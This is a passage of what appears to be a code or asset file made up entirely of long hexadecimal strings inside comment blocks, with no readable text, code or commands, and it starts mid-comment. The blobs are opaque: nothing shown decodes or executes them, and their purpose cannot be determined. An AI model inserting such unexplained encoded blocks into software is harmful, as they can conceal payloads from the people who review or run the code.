5b7914f1372528479e83c7e39d0ebab88f50c548ac18db9f6b9c2f924e95726148556099acdb6b887dc5cc3f12e80fc28037b23be8a1656fc0eb470af11b80fbebf434e131180f85507508859bec16532885ee204f24b4d95e58c78679294ee5d00f58608dbf91800db276d6d2ba916319a085794b844ede0763e7c23acde2b70a2804b72a2ccd822793bc3e7f4fa8efae9e6c7646ada1abb2edff493cd8e1887bdb808d48ad3031dddf125d7519bcadc25b8de4b414c866e4b62942f1b86413ce3796a72988a921d443be8f82cd37da8d2f5f22fb4dc7e76e0eacc4cbc049cfaa70c04272301a0e777e37981f43cfe3ecb176e03767a9cb8f1bfb5b29e50ba5a7df2d8bd0023b1e65293cd256cd7f1b178872c29927328035013b7566158d9305157318b0db1f0e8cdedc4bbb969e53fe5a9e04167a76f2c6d3304be875297792c6077b70873a062de105eee1fb16862206e27b581604ba755d697a4d5ea32b599f7dec7d6cffa05404de75135f3fa255f01bd71467affbd1f1e3589c64510d50248cac5f2973cced4da0f4a203de0b1c14020bd2ea9b1bf5172598d54d0b56030a9b644dcbcbbfb4edd7bddb6c5149f2a58e95354776e5f34d637e898c7d9e72570f544f72a0c3477057e088c7edcc329b35512b586f4b98946387932f002bf4192ed7072507a23809e0a7d1c394a6baffc065d19b190efeb843653b25ff73fcc2d358d1910c9dec02f39beef6f4b07705905a0b5f4d82ff01ac84725978ff4c14305b6e7a29c84610d8c91bc4d523fd4675a6afc0089c6e1bfd0217d2a9735ef91be56e3bdaffa6a4d642b305e4c296e588ec8d13a32fac75c3630de9210f24a964424713aa849584670ff4ce77bcf3a8316f8ae9ea19e7e29c09979f3f7812369cc38119fd82d824a045d83ca2ffce8132c81081cff254530d624e5b4d7cbdc008f7f05e52b9ed40d674617f860635491e03d6fdd35be4fd34b63033e08e8dfe97c84d128224245d767b7b0be5d9f2a9fdc69132af4d6bfab0deb2796638b582d480f2f2a92375c96ad17efe577e9e8b4513d360ac547a9e9eab6671a4d8a97cda4086ce796ac686b6f88109f99613f384d8384f6715b32478f8087178a043da6fe2ca7b6ab1f2fe6d3d4ba5b307b29aeb3b4a66b82dd86b7e40b90c35311b09e8405b25b2a10910d09cc6a4a92eb31ddf15d5737c6236cf9f5fb7c2cca2fd82c090ffe610f51e7efb486777b339c9166c1fef83dc047e7755c15c4155155225ead34a70636893a3aa4d9e2e254e0c6dfa2d135d5f3c98070701cadf4bab81d0e7400772d246a0bae5594715804ad37552da2d507de145ca9000e0e65c82485ed0b27668bd9129fe0fd7441b086cabd421cdf937510a146dfe*/
/*d3af09cd457ad7fd2a5993fec4c011b021f91922391304b5a2a2f2283636334c389a4b8ace9f0d19c9bc892a8796ec56b0ece3d15fd0955528efce525457b5eaaf09faccf2c58b54f6869bc5d3c6576836806460db011b78441072aa23a6291cb9f27b1c98a3cb83c55a60c4c4c457a46e9dd5a26fa5c7c0ad70378380d10c15efe611211e158bc999fa431082413f11516975e59080349745299509de8f51a505afb2c2ef6ed82a0acf8bc3dee3bd0c68a319787d278c037e80b9212b710e4f729af7fcdc114c6460ca6a4cbaf92ceb8f0c22c2caae2767c1e5c62a416a01f56b6c641bda26aeef957b45c17c02ce295b34137064d0fae871faeb05d37ebe17ea9a8ecf84fcd695a05d955188dbb3a96a71af1138adb2b6cec0886475dda75ed2896ff3fcf64bdd2511a5f5d3ca7c6fc728e44c466aa44954daade414f5d2f83e34abeb7bb6968ad50f6f6116e18d721db09ad657f8d8567efb7cb6d289751288c611a88bb3480116d71a80fae270683581e9caafc2885c50d3a29328d3deed277d1df0bbb5346b2e812b66aa1f4628eb245b9d3596e50234d196d3a1ac90f9a3ec1a3d7ce6749f73b5d3b68f3a4892c3e0581a3b3da078fcd20881600ffae8d39dd7b6661d9054d61b545e4a62ebbc6c20ad82ba6b2029d414939fb2a792494b27ab1f6e1b93c359b7a85a07da6e185dc4ea56771ac77cf614ac2847ab75d8c6ee05e235fc98ba356d14cdc74ff73ee0f713505ead86a8256e0e17422aeadc0c7c5957f6504795a1bf949caf3a575db24793932799ca8b8df453d7827c28a47c25bb54e0809b9da6fcbdb03a7f2445c6b80dbc7f93a437823ecae036fcc1c93584acdd341b84183e57db9eafeacb9c1112e3aa4cc0dc21230d42bd773b747f286f9631b8c5a510e786fa1a30699dfd05c86c5d72bfd7e024b5be205165721d70436ef68ccf8d68ff4b27431100876128e62b78ede0a3d1a3b70358c361569312bcda39dce11ae8cde5bdc08e9b0f3edfc8caf874402509e078d28f4c7c72f457bfe1126d2d9e30033ab68a739e9be476f45a959f7fba635fdb78f487ac8a715e3dcbb1cc92cf6762a48d577bc90235b0fe8402dfb040f44611bf5185349757cedc69311c8a9f87052a6e2cb49e895f44b89ac822974236db919c21459817d0c5a9d2c0ded0c13db0326fac2b88f29aebc6465daa224a8ad08a2f0146d2be529e4c63d9ba88d94ab40b98c48b26705ead06e1860e8c94b950cb76b7c047bdeb9e7a25ab192f35c9e4a0ff35ce33dfbea887c4b9f94344992ad95d421c8515ac814dfda9d36985bf222eaa2f2c9fbaf5a210f75bd13828c9bb9cea22e56638ee65b91c0e4ea23ae2fade32788311d0668e05b036df1cb3a6af209bb4b0e681563c8af927a1a37bc80bcd2213b1eda0b172634791a89790fa77c674929b51d8b735e9561e05155af7da1b504b089cc8335263bcfc7e0b046b2c11c0dff750e0c499d71274413857a059657943da5e5535dcd6b079b042a7f63a032b7dc0a6f5379b8977b847bc88713bda374a97a440bfd57b91278e44e5f6dc5f3800b5c532ad206a343a947ee4caebaced980655086a80b018ba65f041ab723f6b44b0859e6b073f52a8b8ece3e1b7606b7f2a62bd06e7760a54d7590102df08fd3f69b0f9bf0d0b72d376efafa5e12501c3c5b6560d249176f873c2cd02b5f3eb7a164202b2b0b6655fa7a57fea3a4332b5b668970210d16d115d5ca0b12d633722e4d5ee6937d181cfe987bcc5699d71110370cc989b39cc4c29da4c15bbfc80cc779fafb257b81edc934ae0ea92180f5cd510c4aad4a0186f469bc9d95810ab26b90d4fc4667b752833f6eeb1543db948d50a4fbd03727d31e16bcd001f7ebeb8c71b2289035d542b6b9c31434d68c55feab399277a82bc891f6ae1939cc9321dc2603484fc1a243e13f0b5f0ab831a47f9b805d9debde5a72d85f83406677f3cbc532622bc8683d67bd14006a96e4a6c693d7e3716e5fa6b5a3cdb18d68daf20b16b967ef41c7e116148802e896e2fe2687311333840dcc8f913bb48264fa40da4e027d10e1c5259bae7a57147642040eb5f4b7c570d555922bc88b09c7763996ad37b7458092abce04f745b4d5d122d44ff8e9b36c898f47380f71676ca71ead0103823f9702efe9806181b79f9c85401dd220ac34ba64da241febd24069cef5076764b37505854b720d05c599fa048973c9e19be07bd4ef1235d0168963fa2d652175b19c80ea657fbfe225bc37dc39e5f52736f8b06de8c6d364f4d72a92bf537cabe36fede17da177e4e1e7b724e44c827bd878c87a96c95abb54df350d237eb1a2b035cb8d43d6c0c3f81d21ae827046d4b36d8074f3dfdcf5bac3a50a64921d9f77c5c5e7b5ab1b27691d91ed1d70f067e44a247553c45f37d2bb9a68461915bacf7f0174dab7fc339eaeb6a45537c15212708c99ec1a492c0ab4504087c007dfca11c57894c2f8ee4df5ec0497a64f5414e0b1b84725ac6aebab0241b5008832dc6ca6988cf0c3a7a85cf0c6b142dbe6541b84615477bfa3d2e7db4f331d70749e24b78b603a1998ce544253165c96e152d17ced1d1cbb34381f2d91c6cc3bd61d535e15e02515a6de6c08c6b54b7ae74689cc976135be964de826489ff86e91a6dbe71e765c17c2d3a0bdf70f1e229c659f7f20bed233119df430ac7794cf0ff3fa4a1653bb3b25f4c46f9cf15aed784e406e34bdb6745db5d7f4bc246125099c96f5f7a16e77255b761042d8867ea7035623edf774e8a12d23206d76685651bcd503626ed86c6a1bebf255c8edf9a7b*/
/*344a45aeb7cd81435d865e8bf5a374d8c44dc6d834837569729a1961d7137256950510b55bb343bbf535d58f145a8136532c4cb41a9e217566fa687e950a6708be3bc2e2928d16c984cb4e3c8b120d45df221219e90359bfb3d1ae596ea10576526c611a43b75c92bd217c10123d7a0ef93ad49833dada4d66fde03e31ed7d81c5854ed3eb2fae25f6ee12587212ea1946c109ae167c6d56467b9de826053b2eb41b6309b47f9768feea4e54f6b16051fe067c7e177227baa88b61943942da1dbce78e890fad6c92f267593d50f6961ff7baea2a38fafd7e0ad927ae599670880c1b633a627dbf8f7b85b8c9e85f245acd2072e4d0ab1751cbd6c1bed6c23fe95aa7aae6fe5d83e5977c64c600b477c91a28304144c30e529d0bd999760c3eac688ed71b9d9d3e5af2f1f3c86eb174023c9431dda2bb663512262ba0aab73030f5b2e8de7f2ede9001fb9890cd0a38ba54fcee16a04e14fc9d524907eb8055e7671225faf5426ddd2552008d6eccd777016b00ebe8c5c6e45f62596717f75b7fa5f9ee4666e62c8adb7f8f6b1e769aa03e732ce81ff9c397824e5c5771c9908eb11e904018f8fe6d3d56bedeba84989c66eadbd5dcae9caa2610d7f625dc0f8f690321e7abcea3782d83cf87c03aa0a0241d1694562a7b7fdd448a6bdceff64a249bd66af729000466d677b9ffef78524f43c45379c88000f99296de496784b90afb834708b491479019aa1760ff5d040bdc3339af602634a2ec01dd6364ce7a599fcba87e3307e91f6b2827c6cf476a1de4713333512739cf640832d77ddd8f45d18d13b9b40868fced19f8af326ea5b0286b731f0ac780d78f9e84011e1be7f6ae5d9226e3701a23d96dae078de3125b9f06792ccabbde3f9d026b8f6d5a8d75eb7e77dd245983398db17be6a3a16fc3f3c9d947836466ae0d7715709008e17a5535e0c85891881f297cc99e61c85e8c5f0d5149447ebca7fa4bedbdfad0d0e11ec8f7111648785b0e7b1b740fdc9595076c1e2c87b977cfe1dee4de132586791b1baa86e4d1acf756103e1644de1e0f70717dbbf955782ec9d4819f758a17998b3ecef861bc0e61cef2dda9d2fb21e24efddb60b7054178f499dcf789907935f449332a8fa559fb7a6602928f9dc5104b320f50f47ac0645b45d806ca005a27a54ab773daa3c47637c4ab7ffc77aebb41a1b1fbd9deca363bf8fd43dc3bf79aaa08827294ce17c76f27b2a4e4eeec493d044baa9a3d09bb0b336c7937a6bfd73556798c3e86e33a12bb26afa8cf74cc4e1a6410e0daba66ef58c77d50ce086b1d4cd2f642db84684b321d7dd439c0d7586c5793ba69bc285fe4e32a9d592f48816f2b890ccad8837ad4adf2bb30a952df7c9e0c298fde9fbf2f276aee9207400296e2d31e9391eaf9045f4fa321b911a253c8f846dbbb8ed4861ac91f07d66222109302e0046665f3f5aad70db9666284bbb45a9f50a55a5860608f1b8a3315e12dcd68cbbe888a3165c5f7f85ce59c49cbef4233b8fc5c7eb68504277f53b35ada063182eb7f11449e2ad522945cca8a5625c566644300f3f539d9f63f069da8135596a2b362f85af49fe8d011f3359d7c8b2f1413beaf0d62e3aa5d92ede6397f40e2bb4f0be081df5e00ae93ea4db72e0a4e42397b37905e1a9d1145971b2fd6b3b00e0a96580e41bed4fbb7425f8b5599946e07fe788469ff096e42252b2249f2028f5f5186894b99ba5a191523bbff40d812d261ff3178d7db27d5ebb95544cd004256d6376521c3740fbb9c38ce8cc3bddf386cf2bf40235b40e0fa8c198b216c51a3c3f83185597ca5f53d7f16607245482652ca9eb319c6669e57b0da7e8d2bc14a084f9b3d31544a5c9102307fae188901d49694cb9fcf49218cc11b1c0b9abe908032a89b635ef69b2106ec80a5fee2b1be1928d5e817dccd61c47508c643dd5b312d96aa41333c486080bf493a0b11957f4fe1f7ed623d40c1939e59747ca4b6f03894c6bc9e0e04bcb08e726c54632185863a6907fccaaefa10888362e136e55f57fb497447e3448dee30fce8b5f538d8d6d9633586a921659fdc534ebf16c56861276c034cbe92d727c5f7e86034aa2d564cbe2b36be42aa55c373f57e96be4b0dbbf0ada52720a6fa0e4828104ee62b6879825b45517557048502ef2818e57112d0e662fcd1563c679debb690f41406b2d14cf5665ea93b98ba67e070793ebb7236387a330b4385ca1487a87a6488a15d4a6e2f34a26ff5b88b6472b80167f53224611a5215813a0f88f3680203f7d9fbf38906fc0786480bcc4bd89a9c1209d87ea9ef991e39b0e0f18e77a74372c7bb2beea650d41b1ecc0367e9d88f87e37358889fabd1bd1226ca8e600e38696e03cdc5b35a87daaf9d76a961afc6e85c69322a8fc3f53890096b44108be66edc364b8bcaa4e62f73a7fe51d495c7fe8d18bc000c7dfd5412f898e780ea844d33b6a48d4e4227c9aecf77a020c726f310f0ba6ca5d45f99fd19afe3aafca31ec5d3c4207e9a9024dd45a1ef1107c3aa79d26cc7cb2659732f7cf588f9ae4c98d37ce20526db134d55dc6a8ee3b3e2c247244dfb8f401eb16a493599ebfe2144df213a919d7819282d560a058efa01e4fed8b825e6e07bf436e2165213e4712bba67e9d08b17298cc1f7fa17750ada8a2e3d25cc6b72ebb97cc4a61544bcc734015f6e2e4c08492f15160ce32359a5de6b5815478b19d8901cd0f312111583184f1e69f1af48f9f1a8dade539fa8be77178f38f87b2c77e9da03efff8578d64b6bfba15c0ec8c550b09cb7f6ee9b7ba197e0cabe46c466393b*/
/*f400947ff3a14543677835e6eeb3cb170d2011439bdddfa78312946e520215b7e6f7d64a177e3c9b9e01f291b72477b67f576a8344e9862352f099675c565e68ac454c2b1dd8a16108f2bd188ae2e4ed2eecc28b43cc8c6fc5775e1b486fe77effdb981bcbec7e2c7a2a409ac914649b37d3fa592ed7e26bd8a5356ebbeb7873fe40d280c35470856e650bc5b3f3e0e012f8e2d463d80f411dc44b441a1f9657b3a0f44a66ea8bef582fd69275b699b4148d73b46966589c227cfce9b3dea5d64b2ce21d7cd69aaf4266c8f6b50fb16ec34fe1ab54586b2d3b969f2a84269b45585be6bdc08a79fd7b04de0694dd46b579be9f421f190d34b2f23a65dcbd6a0fe21717bf51e9e1caa627af1f91708fa4e812dbf485d62a79f9bc0a26a0c462a818fac83437da813f9191c35c9f08c63557b71bdb5331c4db302f8a4b3d8fb2accc548726fb26222367d7522e7f65f21e991b3fb8a234d24882ecba06b9a2ce21bd07a5e493c3a5acb667dcb8c0b739b166fbf688dd6bc3de517705c563a2c3465b2e30558526f10c5e7ba4296b38a3e691a7d163c029c1c7233b118f47ed92f422c471550d11536eeaf94736a4ea03abd16035eec002376e4d39af53c1776d3555de2f2daddc46659a9c7749772d869edaf59bdb30a0bb1c4c496fc580a5d77a9b3dcc175fb7d10706d3d25c5fedddfd26e0af25d9e9afa7d00faefb81bd839beb7aeab47bbf9bd802a20ed6ac4f4a0187074a35c947ae2de2453c83e474d401fda4052c58aee4ce2d5ad662860e72973388b71879190829557e4c35cecb950d4a9dc2091db7137fcd0a13785a0f6c00b66cb08cc1e5ad7753117949fff4b6638bbe26cad2df2a2ec1f715e69da3adbd76a893a0030e127db9783109b4475924f08fd9fdda4428e14251b03dd086c7ff7cb8e166d0a02688dfc45767926c4c4753d6a164dd15d2441ba94ee18aee46df401a2b3ca82fac604510dc2496d21d8fd5f4b58a9c62c6c88ce15385df32b3f5e8f419507517726f2c8359f83d372211965c73e9c39a6fab209b35cea10e121a931035650cc643540702b33fc3b70facf6294c0dca0033af761ab4de43037bc48f2adfdb3ab1e6997c615a6d1c54594c71643a4c117fdb41d55b7defe8bc1e688dc4a51eefa7bbcbe928cc486e233b442ff682882225f39111a501c5b8752dde0b7ebf36c639e6477e1caff871260980994622efa499809975dce3271756815f6b11de2d4e863ee4c8a666410ce3915fce383cfad5bc6e1464be06796065534ad8ef99dd9338b5a3612cccf0466bb4f200523e1fc8b9e836af69ba40de4c9ad3db7f9431a5a3e2429be299ca4667dec4139d2a5498810afa946c678e2421d25188890b1526c70f67618d77cc1dae89fdd559f4068489d9bbf77ef87a1d26dfca66ccc1e8232df4d994609eaa6af2c757321f8a93ea801eb5b1be2e6eb0bd512da383b2e694880390fbe6ab1febea8ad02dd5dce8dbcc1fdf44490253785ddabebba1411f9479cb1670be4cf66f807bee9a4288f14d1528041d8592f665238242e2e01b8ccee98efb2ecd3b267ebaeba044b1ceb82c36dc88a4c04f9f0077cd93cb998bf69991f4974e5099127b488e193125e5ec925395c22b5c13e6b1895584971d724170a5e81fb8a9e1d31c4604abeba4f664fa0294e0b2b9cd5bce2181304d1a7ef486073d86a622322ab91ef1267b4d860383ea5dba338fc8bc8a0a8025ea03a15d6d7832560d7a2bc84604e2762383a8cecbd5d59a69d7f0855058fc4dfc5144bf93622940c2aad27ad6970d892e0b8aa8b1c5f9eab48405b45c3b24adba88508122486d7239a6888e5101964a2adf1961300ff79a1160bd9ea98257b3e14908caa24169fd9ac5554ef365e872cefd1a731bbc9de1b4d78a726e1429edab6a25ad964c1af6b4974ff19798489d47f7136e967ca8a9ea6d1d5aede277289e134e10803349f2fd9915b2e20cc04b440838896ee4ccbde7ac2143422547239db29afee60fed42f5de60fc8df1df4d462077b5dff005e6fad86d8ba5aded0144e35c00ae671a64da859de82214cfbdd5b96044f8cee3e4739ecbea4852125ecccdf1b1dbf0ea400d1a375921e755820d348640f233288849b515f14b4021f50c8d10684ba9cef9c983019ba2e0da1d62407644bb7dc8e4bc345c5ef2f9918b16803599b4e125ad2075d02fea5bf2ec7398037f512322da276289966227ffee8b69cf9d9fb87d6dc46086c195d366447d2cd0190e9d84d0df02840c4cee674f49d52bfc0aa6f26ddade836ddd1fee339e8b845e4772141803d93082f743f2fc6bc5b3aab15c1845d5d8f9e2ed7663b45c76cbd3648cf59afc89dd740f3c31b0686b4fc876d40db1e8dd00372df7b679e047bfd79bdc123ed6e1b344193435bf2e2ac5b286efa6359932c22af0c9fbf2094e9007f31656fa73cb9c2f874fbba0c57a437c0f5b70f2628dbd20ef06c5768b8678f580856908889c5ba28e7f854883abb42b347e1643eeb32476922eff410b6e0cd6486732ba45d1f499ad143fc48adc0a1a92e068093517cf6426928010bec516b7e84bac1cf0f66be776c257657bdcb8f9c83e24a67e49b02d726b51330fc8ff5f1a070a4c967e39b13e66768e5c28f72120da56b216dfdec5b14c34269e2c8c4950003f3407333590567350b120ad2471b15c85fd6e5680708a0576361f23723c8f406ca8e50336fedff96fbf2f3fa2c2fadedb943bf14b21491d339e42ee9b70c0ab14099411227cb6d2af51cc94d5c7b95027a32338bcf07d790e98d6e3bfd3cfbc034aef0a47f24cd83fa3*/
/*062cb54ab8b0989030c9bd5f988a0b1b1e12b2fc1f3e0587d9a9d6787999f023757d338f02ac0c5879dbd55d94abfd759bb23a1a90cb039f323f162e127429f6f366945a83acf3cbd306bb4930e6c2dc3c770d0a786c9d52825db647d2b5dd25c7144b75df331319b67c0293c53fb75220ccf7bb5c3af5380684c93de39a56f48a7ebd6a2b48248e1a1c38947707491f179c0f9c4990f5ff7394be113c6c57f22b94cdab035fb147ecf70692979b9163c2568565c843061af296b5d72384209efdd28fa3c59d78cba5998535037194cf613266a186558f45f74a3e1dd7ebbe6083ad3a32546e7851661754c3d51966674d999453efb31bc02ab080de52c6e7305a74210fbb2eddd01cd7cd5fcdcbebf54979f6b6240fb57782a70f4f3c3a33150e8f0c3427ed845f48958d6513680205da373a5e04362a5e0b85c43769146b4b0667909c38bccb954282e3a6695dafc134530815144ea8c1a323c3681a107a9943ed08b21d3f5c9d8a046db88cc6650bd4abfc34b985b6709e369aa9ef040017c40dedcdcd2a9e20ff73983dd51596cf256fa944f89ce64926bfb3e13b230471d650e9c3f4273d2a35113c54b99176ff182ed4a921b82b728bc85686f91e11be89ad4c95b8fcd0169745511de5392abfa24670bc1bc834ec425cbb3fc3a8b66509b777845ec3d22b2e2890e7e3105a7254be6e5e34185d6bae8b2d50c6e9110e6cdd045bf8f67341bb582eb4f44fdb5f77cc85143d1045030b7200d43ae7704fb8c1e3566a723fc88dd665b57da9115a36b9c6249b9384cbb78f29c054352ba17724726dd32954f89fd70794c621d586465605f1bb448f3b96e10e10773202b30dbbaa55e0141411639483e608f9b2c15b285d68546a67edd8a83e221fe9ac77c7d5e003acb97cbd5a66a3ad453bbcbd9ac3f64effa47a73b07687a682fd056cc9dd90cacb4e4a3b1f2909119f016c0ee3266afc9c1c4753b70ffd88319f74ed77c2856df27bb7a2f9f8e5948aff3746fe69f529ab89240870f65782a135b650a5b774ab25a311bc937d1a75d502c6b0ccaf78ca8bd9ee248e3ae48d35d4b57a27db90108378d1cc78837f64a6238462cb734c89c4153442ddb910be88c12eb931b811c494b6be6e86103c92bc682ce44be11da9899e84dec6e4afac29b346f05651974ed35e93794173856867cd81858d0eb9851781ba46b1df43e04af855a0efb2bcd27c5b46711ac464cbf5c53f2effe0c707fcdd76859b37906a86d0617929a898e55e8814c566e2aac97428b4ae073ea701201773c9b5c48ef998b042538f9ae24c3c3cfaacc2a3f5446da0e9a1684e3911eb60cdf33b8785cea137e5a9dfdb76764b089eead5669c693c9699c34735bcd96714c883b2df174c8924a96f6a1a7967ace39fb9c3255f7590cbb355844edb3388cd8d92b1f7fc6075664340771d1d9fe9d0a7bebfd544b95fac93d675230cd347f829a712f7108aeb5fd2aa1e437a0f8828980ec390a75fb7288e768e367a141cc009d3cfd8f2f81ca091bb54635545a6674d4e9c1dc452425a0efa3220b2870d046eae03e6f30ad40e7ec6c898083063f44fe96626cf17a228b2bb39f49a3c2e6113c108ab004593d1b529b4dd6ed0a70032f1f75ccea8a5f79a3fb78e8b60341ac138746305494243d748fb34996a7d1112896b466215b44e6953ff516a2c5a7e09a223d563335ba5c0d13e7f0cd384617f632b8f5ad2c0aa75589103ca1d43ffabbb915027bc8350aec5a39bcb1d3473fa51f7af9952f06d9522834f321c5ed4b409258313e583bf7bceb9b7687a7dce8fcb9bae21e06f0680b5a17903891747096afaad73fada29f87c7dc50719c94522f5f8323a98cd328aacdb68caba48a71819402331c6c1ef18d9d644b3c9fa5a91f5eb093ce10c5071fe661099321d51089486b3fb8e6b6166b02c3984bc75cc888a5dcdb8d897ef4e6f1e7ddf15d89b746c1fd6a5c3ce7dbd9aa6e26e72dc12d67657a27cb12cacc310d63fda61b1a766654b8890e40593516455b5397cdd18823c0c394bdc8fce6960e25d409e3326d9e4b150bdaf8dc21ca5cc8eb51050ef0a9cbdcf808f0c67e2a557dd8013e496afb0aa3fa8f0304f29c83ac7b2065c2d3309b771434cf435856f53d70ff245c0c836380ef8269846ed209c508a27faf25eb712b5fdb0a832462bce36d4f8b4b82be436c921e3c39136a4a11f672cd89fa4c24aa13d521ec8b8df8cf6e4a27e14f15670c40f6ebd93595fef44b848df540103f9e259bcaf5041d0dd1ba10f38e08ae9620c8948445b7866c742bf3c6d7843e1c9b596aaaa50d401c9935d110807331fc0a063f1be2c86d3f59d590e3ca11f82d286280ab5ce65ac62b02a98ef5ce00eb76a6f9de5495c072e962a21fbf4b0dabeaa0fe9f4866cab87de0722939dff45329ae0c490b0e7be5043e8405fe2559cdced4b15a099aabb05b2da57fb413af0bb2142da35b0b9e901533368d60f1728db9a23e2265939c40c6f0c03b88b5d775f66a1b2398deb5a0cbb42e496aa0f3488d6d70dc19f53be02502db66042b9f467381baf72bcb7c0c40dde3952205d5d4749522f14b5c8f763437fd06690cbb81aefa688d7e24e8ef8c24b56509d069d6f5fdfcedbc49f1db7dc4716efb67aa045b41b46c53088c136bd09d61ec40e6631dee4d91fd33d7e167d0e76fca4eda5921d20bab432c099226b670b113850e1f89e75f210033ceccaed9c667f08bd99832f51a354bbcd42b9b0c595d1e8f75c00899d2baa6432bf5ad81e7bfab8dcdcb2660fb4ba1f2adfa8b0980e04afd286b4cd93efd9fe855d*/
/*0a90c9462f8f0e00cf8cbcce5a100c6942687c05b3134fd862a3259db2c005bfbf6e6b80c822f824b329ff4d32d9549798aadbe34e31a76f5360f3124e681e01295f4ac4a94a9ebfec697c49c8aa489861b4f5bc408d69e7c5df4e29db6f7694cc6173bfd4cf977128fe4c39d582f269e41355313e90522276633a33efa90c4a77f198cfb17e66702bf11c03c19fd423f057b09e6b364fd4d75d292515f45281d074db785d9270cc072760915dfb9363d8c1400e36bd1a1e59fdd1b340060a4ac84dca06c9d3c2ea2bd72e1cee12ce384820aa38482d94cbf3f2bb3ea4999b5e54a5bda3c3a2cf83769d6cefcea80b9a299f896a60d0a7463c355edffc5d859b43b967b86c61b568080b5f9b87d55e090c5ae0ef2663f37645e6dd2b022eaac0a6bce9e24a4600438b680b39dc86f5d4d8a16f6d39b02c66b2d663c8bc5658908813be46a2b896961b1387666f2b646033e1dcb9fb6c87c3468930029fdf5fb189826b2b913960fc4d02f0e99bdcc86779d0d5fe5424f7c2edfc74638fc2436d25e4e9a766bed50b0300a7feaa99ce8b217fe8ac1a7c8edd34165143ad4440bf0e4f27783fb79c8803d4b94fabd9952006d6d9cec452e7e2120783c6737e01eaadac59c9db9954df3fc73ef3222b83e787746ed549ce8b326230b8e33e13dc02da3dc9dbf163348e717845e1f5db597c5890f90ca930dfd4639cd6bdde14043ecfb22d9c9c68f80abcca1e0d4fcfeb68573fdd9a9b852fba6118f40ef6e848e5e593520858e709b167123ddbe1b74b07dc6f38224cc7a3f545e479461e641fa45394d75650eb8f5f55f64a3ff97b4d1c0fc9da6f53abddf340f0772da41b460e8a2e9444002682c39da8888dc2300dd48915e4c78cb11e6e4b7eda0e4b44f99ad6d74793943988bb111ccbcf45de7d67931ff0a5cf0eee5534131bc211499ee9d5cd21af46d58449217052fdc60bfd6f2bab659f6830af010545dfe70b1f1ac52d9df6bf4817434d62f90159b6d17d96479f4eb37e93cbd31cc613dff7b0e8f59111c0d982721d2825410f8ba3128bd3b8dcc9a3ad968364f5639b2b1438fc9cbfc485be4da970aaf6a691b95b6891db649987d890a627c71c0b3a182e8c5227bacb99813f976fff57ff1e0757248d56acc48a6ab352b113c45ccafeefd05ae39cac463c98efafc7f325341fba07bdfe6eacbe9f18d7bbbb01f78c038f55b12ab6e5c436b70fd783c670baa6dc18d1b2a4943cee8807065b453f0cdd7b286bfabd1539825da5ff545f5d33c10ff9005ae10c46dbf654d51d66b1ac904b8b85368b13b6e9f7e6f41a4ffe74523869fe54471ac22714298e9717306ee961b02fecc63d05522623c3270749778caf23b4a53b98f65e0331f258a29656f7121fc724a08755053c5deb694a660602fcfe15945a73c0c7ab627d5d0043f1874a1f2afc67e8b593dbc19835070657b8440b07c4e492a24d3b286e78160d99bb6ca9df06bde98bb02f2f068de64b24e5f134275df646aa71d9d9d08f868c5690376865feffd53aadb2414a781997954e0cd2deedefaf5d8608e75810b10bd0401e9420a4fe081ba9b598883b0c85779e5c9abc2eb5645ac80fe420d2c4eca10ebe88175027b15be155c45eae5bac5c33de8c0fe20d5c4ea3c3bff3c5b1e17bf9941f6ee8b2edbc00ff75e6a944466e0078ab1f802c064cbac7eb37d5d8e3a069a3282ff8efb2ec7634c27c87f85268b4a48841a4f420f87451eb79b4657b76fe52768a5747641c2c7e5aec33a16fec9690bcc41c4c88188ce6a4268836f316dee032ac148a3b1ced0e059a79845617ab8a6bf97a7c0ec92aaf948c6d951be4af29f21a1a924b2ef1325f7f547477274ba0a0adb4e0dfce8a6381ff3b597d7ccf2755d1eca0eae5a30dd78aa6e3ec8f8804ffc63f572ecc43752f2c21a14b1dfce57361a0696496492355aac3c39f09d937fe47783c9a3df970dd57bcd3b404507651e010f9219ed0efcc8f33b707f87478b57b0bbc5ec33de95a22aa4c945d381d28aaaf6cecd53fd0bf06bddc6e88292890670c4ec898c4e712b8425e730e6336e08f5b29417230246f91358bc48fe62177401d349cf08066292765ef122635cd4a3b5a5a3a56c58eb8a1e1c9f0d7be89fce921915962d7a259fa5a704bbf02a9e16a6576f893856fcf540372e066cc45d7e725808087547c97e3d2b4cef6dbe6ea90bd338ccf250febfa2b1a2e0684a9717524fa20ca623465d31bd4ca4bc16d0c1d30feac3464359b334a75f29538212b6d38190ebdca4ca023307cddcea6250840c1eefaa2e677166e42fe9004c32dd785ebefbbe0e1e91d6dbafeda3f5bdaa300a4aa0b84f0e164dada3e13155f1b4f673cfe710c77814a91840661035dc5136685714cc9635c34b75610498de549252797ac547dd8645fa50ccc8be46973b4c41e403436b7cf7bd5a14071f53bc44df3ea00176064c2605905d115ea6ac6e2cfd0090d2886b4b08e04b3b44c86bc8e7aa574628f6d720d37222a325b0e4011508365b6d0cefd763b54958967ec14dce478a7ce6716a45f604f5cda5306c28b0badfdd1ad3f66f720b2078096cb6e430bae20809a4062812b3a32a2495d144217d121f7d9b768fdad2a4cfda98698d6dc4b3e08f3271e179ce4c8fd3a8f331b9cd85e73094c6479b3a5b8f4d370842a48352ed552c164411708f5248158d0102aba52f210a03570ccdd4e6837f4d145cb35cf919ef1c74e6b3e89afa200d6f953db0373cdeeace3eaaa1988397d73317c31217abbda7095c78d827ac43e57b30a56cdf2902c5c3a750d467907c6feb26bb1*/
/*37ff5fd4a4aeda1ec72f86d982a130be19c5dc8f9877c85b49ce9c97ceea7c41a90dbb88b0a492cb907aa175660a9cf44c6f5a611cd620051a5364439bde8f92486c803fc4720d6476b2910cb1c5cee73e00d1deaf5e1813afe7ebb6ea55124eb0a53fe37643fb9f22f5cfab53baba99b4a65d63aac3fcdb15a3e685970eafbf3f8091c7a0c98f0464b8aafdda155d44821f03c6511f4e7f436433b78ff34b19710722de41a119db7253dd13124ca37ebe6fc0008d0dee680418ba64c1a5854cda42a081cae244be01871d1baf603e6aa4dff7d28d02d2b40fe67d626c53f76da4a50c76d96c1dcfe18a508e460fd677f872b23b58b8bbe2668ab10b521f829e48812046612e3a2d05b7b42dbab9eaa7a0ecb71676537e741942c50911b30289148523ce458652d809272ee08701fe530b428d22eebda0b60be734e3d9a8e57b09df72c515b1e93019631054de487028c2c1b66830e792084a4774cf907216fe2d0da814e8af36dde845b0c1eb0c7ebd8e49e282fbc10ebea5c73038f475918c32c5cae1cc78791d945fa0d4f946479ffb8e11f8e5f2045913a2e9afecbe32cc8acbda80ce5114ca6d53745dd6efdddff58c4e3714b4541f66ad9764f62703a46c5ee3dda3cdffbb23f5ad9448d979b671b30d9adcc35f186c680cbf2f206c6d0131a30ec1824dba178a7f3b464e5218e7e420b68d5a